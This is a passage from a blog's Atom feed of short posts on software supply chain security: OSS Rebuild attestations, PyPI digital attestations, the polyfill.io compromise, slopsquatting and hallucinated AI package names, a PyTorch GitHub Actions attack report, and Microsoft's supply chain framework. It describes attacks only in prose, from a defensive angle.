</summary><category term="domains"/><category term="pypi"/><category term="python"/><category term="security"/><category term="supply-chain"/></entry><entry><title>Introducing OSS Rebuild: Open Source, Rebuilt to Last</title><link href="https://simonwillison.net/2025/Jul/23/oss-rebuild/#atom-tag" rel="alternate"/><published>2025-07-23T17:16:32+00:00</published><updated>2025-07-23T17:16:32+00:00</updated><id>https://simonwillison.net/2025/Jul/23/oss-rebuild/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://security.googleblog.com/2025/07/introducing-oss-rebuild-open-source.html"&gt;Introducing OSS Rebuild: Open Source, Rebuilt to Last&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Major news on the &lt;a href="https://reproducible-builds.org/"&gt;Reproducible Builds&lt;/a&gt; front: the Google Security team have announced &lt;a href="https://github.com/google/oss-rebuild"&gt;OSS Rebuild&lt;/a&gt;, their project to provide build attestations for open source packages released through the NPM, PyPI and Crates ecosystom (and more to come).&lt;/p&gt;
&lt;p&gt;They currently run builds against the "most popular" packages from those ecosystems:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Through automation and heuristics, we determine a prospective build definition for a target package and rebuild it. We semantically compare the result with the existing upstream artifact, normalizing each one to remove instabilities that cause bit-for-bit comparisons to fail (e.g. archive compression). Once we reproduce the package, we publish the build definition and outcome via &lt;a href="https://slsa.dev/spec/v0.1/provenance"&gt;SLSA Provenance&lt;/a&gt;. This attestation allows consumers to reliably verify a package's origin within the source history, understand and repeat its build process, and customize the build from a known-functional baseline&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The only way to interact with the Rebuild data right now is through their &lt;a href="https://github.com/google/oss-rebuild"&gt;Go CLI tool&lt;/a&gt;. I reverse-engineered it &lt;a href="https://gist.github.com/simonw/a5416718587aadfb0ce5f046b66b54fb"&gt;using Gemini 2.5 Pro&lt;/a&gt; and derived this command to get a list of all of their built packages:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; gsutil ls -r 'gs://google-rebuild-attestations/**'
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are 9,513 total lines, &lt;a href="https://gist.github.com/simonw/9287de5900d5b76969e331d9b4ad9eba"&gt;here's a Gist&lt;/a&gt;. I &lt;a href="https://gist.github.com/simonw/7b1d0a01f74c2e8d8cedea7a9dc7f8d7"&gt;used Claude Code&lt;/a&gt; to count them across the different ecosystems (discounting duplicates for different versions of the same package):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;pypi: 5,028 packages&lt;/li&gt;
&lt;li&gt;cratesio: 2,437 packages&lt;/li&gt;
&lt;li&gt;npm: 2,048 packages&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then I got a bit ambitious... since the files themselves are hosted in a Google Cloud Bucket, could I run my own web app somewhere on &lt;code&gt;storage.googleapis.com&lt;/code&gt; that could use &lt;code&gt;fetch()&lt;/code&gt; to retrieve that data, working around the lack of open CORS headers?&lt;/p&gt;
&lt;p&gt;I &lt;a href="https://gist.github.com/simonw/178a1cb57597a7b8aaa4910beae89cd3"&gt;got Claude Code to try that for me&lt;/a&gt; (I didn't want to have to figure out how to create a bucket and configure it for web access just for this one experiment) and it built and then deployed &lt;a href="https://storage.googleapis.com/rebuild-ui/index.html"&gt;https://storage.googleapis.com/rebuild-ui/index.html&lt;/a&gt;, which did indeed work!&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of Google Rebuild Explorer interface showing a search box with placeholder text &amp;quot;Type to search packages (e.g., 'adler', 'python-slugify')...&amp;quot; under &amp;quot;Search rebuild attestations:&amp;quot;, a loading file path &amp;quot;pypi/accelerate/0.21.0/accelerate-0.21.0-py3-none-any.whl/rebuild.intoto.jsonl&amp;quot;, and Object 1 containing JSON with &amp;quot;payloadType&amp;quot;: &amp;quot;in-toto.io Statement v1 URL&amp;quot;, &amp;quot;payload&amp;quot;: &amp;quot;...&amp;quot;, &amp;quot;signatures&amp;quot;: [{&amp;quot;keyid&amp;quot;: &amp;quot;Google Cloud KMS signing key URL&amp;quot;, &amp;quot;sig&amp;quot;: &amp;quot;...&amp;quot;}]" src="https://static.simonwillison.net/static/2025/rebuild-ui.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;It lets you search against that list of packages from the Gist and then select one to view the pretty-printed newline-delimited JSON that was stored for that package.&lt;/p&gt;
&lt;p&gt;The output isn't as interesting as I was expecting, but it was fun demonstrating that it's possible to build and deploy web apps to Google Cloud that can then make &lt;code&gt;fetch()&lt;/code&gt; requests to other public buckets.&lt;/p&gt;
&lt;p&gt;Hopefully the OSS Rebuild team will &lt;a href="https://news.ycombinator.com/item?id=44646925#44652098"&gt;add a web UI&lt;/a&gt; to their project at some point in the future.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://news.ycombinator.com/item?id=44646925"&gt;Hacker News&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/google"&gt;google&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/packaging"&gt;packaging&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/npm"&gt;npm&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai"&gt;ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/generative-ai"&gt;generative-ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/llms"&gt;llms&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai-assisted-programming"&gt;ai-assisted-programming&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/vibe-coding"&gt;vibe-coding&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/claude-code"&gt;claude-code&lt;/a&gt;&lt;/p&gt;



</summary><category term="google"/><category term="packaging"/><category term="pypi"/><category term="security"/><category term="npm"/><category term="ai"/><category term="generative-ai"/><category term="llms"/><category term="ai-assisted-programming"/><category term="supply-chain"/><category term="vibe-coding"/><category term="claude-code"/></entry><entry><title>Quoting Andrew Nesbitt</title><link href="https://simonwillison.net/2025/Apr/12/andrew-nesbitt/#atom-tag" rel="alternate"/><published>2025-04-12T16:30:07+00:00</published><updated>2025-04-12T16:30:07+00:00</updated><id>https://simonwillison.net/2025/Apr/12/andrew-nesbitt/#atom-tag</id><summary type="html">
    &lt;blockquote cite="https://mastodon.social/@andrewnez/114302875075999244"&gt;&lt;p&gt;&lt;strong&gt;Slopsquatting&lt;/strong&gt; -- when an LLM hallucinates a non-existent package name, and a bad actor registers it maliciously. The AI brother of typosquatting.&lt;/p&gt;
&lt;p&gt;Credit to &lt;a href="https://fosstodon.org/@sethmlarson" title="@sethmlarson"&gt;@sethmlarson&lt;/a&gt; for the name&lt;/p&gt;&lt;/blockquote&gt;
&lt;p class="cite"&gt;&amp;mdash; &lt;a href="https://mastodon.social/@andrewnez/114302875075999244"&gt;Andrew Nesbitt&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/definitions"&gt;definitions&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/packaging"&gt;packaging&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai"&gt;ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/generative-ai"&gt;generative-ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/llms"&gt;llms&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/slop"&gt;slop&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai-ethics"&gt;ai-ethics&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/seth-michael-larson"&gt;seth-michael-larson&lt;/a&gt;&lt;/p&gt;



</summary><category term="definitions"/><category term="packaging"/><category term="ai"/><category term="generative-ai"/><category term="llms"/><category term="supply-chain"/><category term="slop"/><category term="ai-ethics"/><category term="seth-michael-larson"/></entry><entry><title>PyPI now supports digital attestations</title><link href="https://simonwillison.net/2024/Nov/14/pypi-digital-attestations/#atom-tag" rel="alternate"/><published>2024-11-14T19:56:49+00:00</published><updated>2024-11-14T19:56:49+00:00</updated><id>https://simonwillison.net/2024/Nov/14/pypi-digital-attestations/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.pypi.org/posts/2024-11-14-pypi-now-supports-digital-attestations/"&gt;PyPI now supports digital attestations&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Dustin Ingram:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PyPI package maintainers can now publish signed digital attestations when publishing, in order to further increase trust in the supply-chain security of their projects. Additionally, a new API is available for consumers and installers to verify published attestations.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This has been in the works for a while, and is another component of PyPI's approach to supply chain security for Python packaging - see &lt;a href="https://peps.python.org/pep-0740/"&gt;PEP 740 – Index support for digital attestations&lt;/a&gt; for all of the underlying details.&lt;/p&gt;
&lt;p&gt;A key problem this solves is cryptographically linking packages published on PyPI to the exact source code that was used to build those packages. In the absence of this feature there are no guarantees that the &lt;code&gt;.tar.gz&lt;/code&gt; or &lt;code&gt;.whl&lt;/code&gt; file you download from PyPI hasn't been tampered with (to add malware, for example) in a way that's not visible in the published source code.&lt;/p&gt;
&lt;p&gt;These new attestations provide a mechanism for proving that a known, trustworthy build system was used to generate and publish the package, starting with its source code on GitHub.&lt;/p&gt;
&lt;p&gt;The good news is that if you're using the PyPI Trusted Publishers mechanism in GitHub Actions to publish packages, you're already using this new system. I wrote about that system in January: &lt;a href="https://simonwillison.net/2024/Jan/16/python-lib-pypi/"&gt;Publish Python packages to PyPI with a python-lib cookiecutter template and GitHub Actions&lt;/a&gt; - and hundreds of my own PyPI packages are already using that system, thanks to my various cookiecutter templates.&lt;/p&gt;
&lt;p&gt;Trail of Bits helped build this feature, and provide extra background about it on their own blog in &lt;a href="https://blog.trailofbits.com/2024/11/14/attestations-a-new-generation-of-signatures-on-pypi/"&gt;Attestations: A new generation of signatures on PyPI&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://github.com/pypa/gh-action-pypi-publish/releases/tag/v1.11.0"&gt;As of October 29&lt;/a&gt;, attestations are the default for anyone using Trusted Publishing via the &lt;a href="https://github.com/marketplace/actions/pypi-publish"&gt;PyPA publishing action for GitHub&lt;/a&gt;. That means roughly 20,000 packages can now attest to their provenance &lt;em&gt;by default&lt;/em&gt;, with no changes needed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;They also built &lt;a href="https://trailofbits.github.io/are-we-pep740-yet/"&gt;Are we PEP 740 yet?&lt;/a&gt; (&lt;a href="https://github.com/trailofbits/are-we-pep740-yet/blob/a87a8895dd238d14af50aaa2675c81060aa52846/utils.py#L31-L72"&gt;key implementation here&lt;/a&gt;) to track the rollout of attestations across the 360 most downloaded packages from PyPI. It works by hitting URLs such as &lt;a href="https://pypi.org/simple/pydantic/"&gt;https://pypi.org/simple/pydantic/&lt;/a&gt; with a &lt;code&gt;Accept: application/vnd.pypi.simple.v1+json&lt;/code&gt; header - &lt;a href="https://gist.github.com/simonw/8cf8a850739e2865cf3b9a74e6461b28"&gt;here's the JSON that returns&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I published an alpha package using Trusted Publishers last night and the &lt;a href="https://pypi.org/project/llm/0.18a0/#llm-0.18a0-py3-none-any.whl"&gt;files for that release&lt;/a&gt; are showing the new provenance information already:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Provenance. The following attestation bundles were made for llm-0.18a0-py3-none-any.whl: Publisher: publish.yml on simonw/llm Attestations: Statement type: https://in-toto.io/Statement/v1 Predicate type: https://docs.pypi.org/attestations/publish/v1 Subject name: llm-0.18a0-py3-none-any.whl Subject digest: dde9899583172e6434971d8cddeb106bb535ae4ee3589cb4e2d525a4526976da Sigstore transparency entry: 148798240 Sigstore integration time: about 18 hours ago" src="https://static.simonwillison.net/static/2024/provenance.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Which links to &lt;a href="https://search.sigstore.dev/?logIndex=148798240"&gt;this Sigstore log entry&lt;/a&gt; with more details, including &lt;a href="https://github.com/simonw/llm/tree/041730d8b2bc12f62cfe41c44b62a03ef4790117"&gt;the Git hash&lt;/a&gt; that was used to build the package:&lt;/p&gt;
&lt;p&gt;&lt;img alt="X509v3 extensions:   Key Usage (critical):   - Digital Signature   Extended Key Usage:   - Code Signing   Subject Key Identifier:   - 4E:D8:B4:DB:C1:28:D5:20:1A:A0:14:41:2F:21:07:B4:4E:EF:0B:F1   Authority Key Identifier:     keyid: DF:D3:E9:CF:56:24:11:96:F9:A8:D8:E9:28:55:A2:C6:2E:18:64:3F   Subject Alternative Name (critical):     url:     - https://github.com/simonw/llm/.github/workflows/publish.yml@refs/tags/0.18a0   OIDC Issuer: https://token.actions.githubusercontent.com   GitHub Workflow Trigger: release   GitHub Workflow SHA: 041730d8b2bc12f62cfe41c44b62a03ef4790117   GitHub Workflow Name: Publish Python Package   GitHub Workflow Repository: simonw/llm   GitHub Workflow Ref: refs/tags/0.18a0   OIDC Issuer (v2): https://token.actions.githubusercontent.com   Build Signer URI: https://github.com/simonw/llm/.github/workflows/publish.yml@refs/tags/0.18a0   Build Signer Digest: 041730d8b2bc12f62cfe41c44b62a03ef4790117" src="https://static.simonwillison.net/static/2024/sigstore.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.sigstore.dev/"&gt;Sigstore&lt;/a&gt; is a transparency log maintained by &lt;a href="https://en.wikipedia.org/wiki/Open_Source_Security_Foundation"&gt;Open Source Security Foundation (OpenSSF)&lt;/a&gt;, a sub-project of the Linux Foundation.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://news.ycombinator.com/item?id=42136375"&gt;Hacker News&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/github"&gt;github&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/packaging"&gt;packaging&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/github-actions"&gt;github-actions&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/psf"&gt;psf&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/dustin-ingram"&gt;dustin-ingram&lt;/a&gt;&lt;/p&gt;



</summary><category term="github"/><category term="packaging"/><category term="pypi"/><category term="python"/><category term="github-actions"/><category term="psf"/><category term="supply-chain"/><category term="dustin-ingram"/></entry><entry><title>Polyfill supply chain attack hits 100K+ sites</title><link href="https://simonwillison.net/2024/Jun/25/polyfill-supply-chain-attack/#atom-tag" rel="alternate"/><published>2024-06-25T22:17:07+00:00</published><updated>2024-06-25T22:17:07+00:00</updated><id>https://simonwillison.net/2024/Jun/25/polyfill-supply-chain-attack/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://sansec.io/research/polyfill-supply-chain-attack"&gt;Polyfill supply chain attack hits 100K+ sites&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Short version: if you are loading assets from the &lt;code&gt;polyfill.io&lt;/code&gt; domain you need to remove that right now: the new owners of the domain (as of a few months ago) appear to be using it to serve malicious JavaScript.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;polyfill.io&lt;/code&gt; was a fascinating service. It was originally developed and supported by the Financial Times, but span off as a separate project several years ago.&lt;/p&gt;
&lt;p&gt;The key idea was to serve up a set of JavaScript polyfills - pieces of code that implemented missing web platform features for older browsers - dynamically, based on the incoming user-agent. This required a CDN that varied its output dynamically based on the user-agent, hence the popularity of the single hosted service.&lt;/p&gt;
&lt;p&gt;Andrew Betts, the original author of the service, has been warning people to move off it &lt;a href="https://twitter.com/triblondon/status/1761852117579427975"&gt;since February 2024&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If your website uses &lt;code&gt;polyfill.io&lt;/code&gt;, remove it IMMEDIATELY.&lt;/p&gt;
&lt;p&gt;I created the polyfill service project but I have never owned the domain name and I have had no influence over its sale.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;He now works for Fastly, which started offering &lt;a href="https://community.fastly.com/t/new-options-for-polyfill-io-users/2540"&gt;a free polyfill-fastly.io alternative&lt;/a&gt; in February. Andrew says you probably don't need that either, given that modern browsers have much better compatibility than when the service was first introduced over a decade ago.&lt;/p&gt;
&lt;p&gt;There's some interesting additional context in a now-deleted GitHub issue, &lt;a href="https://web.archive.org/web/20240314202054/https://github.com/polyfillpolyfill/polyfill-service/issues/2834"&gt;preserved here by the Internet Archive&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Usually one answer to protecting against this style of CDN supply chain attack would be to use &lt;a href="https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity"&gt;SRI hashes&lt;/a&gt; to ensure only the expected script can be served from the site. That doesn't work here because the whole point of the service is to serve different scripts to different browsers.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://news.ycombinator.com/item?id=40791829"&gt;Hacker News&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;&lt;/p&gt;



</summary><category term="javascript"/><category term="security"/><category term="supply-chain"/></entry><entry><title>Diving Deeper into AI Package Hallucinations</title><link href="https://simonwillison.net/2024/Apr/1/diving-deeper-into-ai-package-hallucinations/#atom-tag" rel="alternate"/><published>2024-04-01T22:51:34+00:00</published><updated>2024-04-01T22:51:34+00:00</updated><id>https://simonwillison.net/2024/Apr/1/diving-deeper-into-ai-package-hallucinations/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://www.lasso.security/blog/ai-package-hallucinations"&gt;Diving Deeper into AI Package Hallucinations&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Bar Lanyado noticed that LLMs frequently hallucinate the names of packages that don’t exist in their answers to coding questions, which can be exploited as a supply chain attack.&lt;/p&gt;

&lt;p&gt;He gathered 2,500 questions across Python, Node.js, Go, .NET and Ruby and ran them through a number of different LLMs, taking notes of any hallucinated packages and if any of those hallucinations were repeated.&lt;/p&gt;

&lt;p&gt;One repeat example was “pip install huggingface-cli” (the correct package is “huggingface[cli]”). Bar then published a harmless package under that name in January, and observebd 30,000 downloads of that package in the three months that followed.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai"&gt;ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/generative-ai"&gt;generative-ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/llms"&gt;llms&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/hallucinations"&gt;hallucinations&lt;/a&gt;&lt;/p&gt;



</summary><category term="security"/><category term="ai"/><category term="generative-ai"/><category term="llms"/><category term="supply-chain"/><category term="hallucinations"/></entry><entry><title>How We Executed a Critical Supply Chain Attack on PyTorch</title><link href="https://simonwillison.net/2024/Jan/14/supply-chain-attack-on-pytorch/#atom-tag" rel="alternate"/><published>2024-01-14T19:38:24+00:00</published><updated>2024-01-14T19:38:24+00:00</updated><id>https://simonwillison.net/2024/Jan/14/supply-chain-attack-on-pytorch/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://johnstawinski.com/2024/01/11/playing-with-fire-how-we-executed-a-critical-supply-chain-attack-on-pytorch/"&gt;How We Executed a Critical Supply Chain Attack on PyTorch&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Report on a now handled supply chain attack reported against PyTorch which took advantage of GitHub Actions, stealing credentials from some self-hosted task runners.&lt;/p&gt;

&lt;p&gt;The researchers first submitted a typo fix to the PyTorch repo, which gave them status as a “contributor” to that repo and meant that their future pull requests would have workflows executed without needing manual approval.&lt;/p&gt;

&lt;p&gt;Their mitigation suggestion is to switch the option from ’Require approval for first-time contributors’ to ‘Require approval for all outside collaborators’.&lt;/p&gt;

&lt;p&gt;I think GitHub could help protect against this kind of attack by making it more obvious when you approve a PR to run workflows in a way that grants that contributor future access rights. I’d like a “approve this time only” button separate from “approve this run and allow future runs from user X”.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://news.ycombinator.com/item?id=38969533"&gt;Hacker News&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/github"&gt;github&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pytorch"&gt;pytorch&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;&lt;/p&gt;



</summary><category term="github"/><category term="security"/><category term="pytorch"/><category term="supply-chain"/></entry><entry><title>Microsoft® Open Source Software (OSS) Secure Supply Chain (SSC) Framework Simplified Requirements</title><link href="https://simonwillison.net/2022/Aug/6/secure-supply-chain/#atom-tag" rel="alternate"/><published>2022-08-06T16:49:26+00:00</published><updated>2022-08-06T16:49:26+00:00</updated><id>https://simonwillison.net/2022/Aug/6/secure-supply-chain/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/microsoft/oss-ssc-framework/blob/main/specification/framework.md#oss-ssc-framework-practices"&gt;Microsoft® Open Source Software (OSS) Secure Supply Chain (SSC) Framework Simplified Requirements&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
This is really good: don’t get distracted by the acronyms, skip past the intro and head straight to the framework practices section, which talks about things like keeping copies of the packages you depend on, running scanners, tracking package updates and most importantly keeping an inventory of the open source packages you work so you can quickly respond to things like log4j.&lt;/p&gt;

&lt;p&gt;I feel like I say this a lot these days, but if you had told teenage-me that Microsoft would be publishing genuinely useful non-FUD guides to open source supply chain security by 2022 I don’t think I would have believed you.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/microsoft"&gt;microsoft&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/open-source"&gt;open-source&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;&lt;/p&gt;



</summary><category term="microsoft"/><category term="open-source"/><category term="security"/><category term="supply-chain"/></entry></feed>